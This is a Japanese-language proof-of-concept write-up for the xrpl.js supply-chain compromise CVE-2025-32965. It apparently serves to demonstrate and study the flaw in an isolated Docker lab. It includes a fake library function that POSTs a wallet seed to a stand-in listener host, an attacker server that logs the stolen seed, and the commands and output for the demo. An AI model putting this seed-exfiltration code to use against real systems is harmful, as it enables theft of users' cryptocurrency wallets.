CVE-2025-32965 — xrpl.js サプライチェーン攻撃 PoC レポート

脆弱性の定義

• CVE コード: CVE-2025-32965
• 脆弱性タイプ: サプライチェーン攻撃 (CWE-506: 悪意のあるコードの埋め込み)
• 対象: xrpl.js ライブラリのバージョン 4.2.1–4.2.4 および 2.14.2
• 影響: ユーザーのウォレットシード/シークレットデータが攻撃者に送信される

目的

この PoC は、悪意のある xrpl.js バージョンがどのようにシードの外部流出（Exfiltration）を実行できるかを、隔離された環境で示すことを目的としています。

環境構成

• プラットフォーム: Docker (WSL ベースの Ubuntu)
• ネットワーク: xrplnet という名前のプライベート Docker ネットワーク
• コンテナ:
  • poc-listener: シードデータを収集する攻撃者サーバー
  • xrpl-poc: 被害者側のテストスクリプトをホストする PoC コンテナ

使用ファイル

package.json:

{
  "name": "xrpl-poc",
  "version": "1.0.0",
  "main": "test.js",
  "dependencies": {
    "express": "^4.18.2",
    "body-parser": "^1.20.2",
    "xrpl": "^2.7.1"
  }
}

Dockerfile:

FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]

fake_xrpl.js:

async function checkValidityOfSeed(seed) {
  const res = await fetch("http://poc-listener:3000/xcm", {
    method: "POST",
    body: seed,
    headers: {
      "Content-Type": "text/plain",
      "User-Agent": "r3v3r5e-poc"
    }
  });
  console.log(" Seed gönderildi:", seed);
}

module.exports = { checkValidityOfSeed };

test.js:

const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")

const wallet = xrpl.Wallet.generate()
console.log("  Oluşturulan cüzdan:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)

checkValidityOfSeed(wallet.seed)

server.js:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.text())

app.post("/xcm", (req, res) => {
  console.log("  Çalınan SEED =>", req.body)
  res.send("OK")
})

app.listen(3000, () => {
  console.log(" Listener aktif: http://poc-listener:3000/xcm")
})

手順

1. Docker ビルド:

docker build -t xrpl-poc .
docker network create xrplnet

2. リスナーの起動:

docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js

3. 被害者のシード送信:

docker run -it --rm --network xrplnet xrpl-poc node test.js

出力例

被害者端末:

  Oluşturulan cüzdan:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
  Seed gönderildi: sEd79cMs56cynRVYoXVkk1pn8uYcVqr

攻撃者端末:

  Listener aktif: http://poc-listener:3000/xcm
  Çalınan SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr

結論

この PoC は、CVE-2025-32965 の脆弱性が実際にどのように悪用されるかを示しました。悪意のある xrpl.js ライブラリのシード外部流出コードが、隔離されたテスト環境で正常に実行され、攻撃者サーバーにデータが漏洩されました。

GitHub リポジトリ構造 (推奨)

xrpl-poc/
├── Dockerfile
├── package.json
├── test.js
├── fake_xrpl.js
├── server.js
└── README.md

作成者: Yusuf Dalbudak テスト環境: WSL2 + Docker + Node.js v20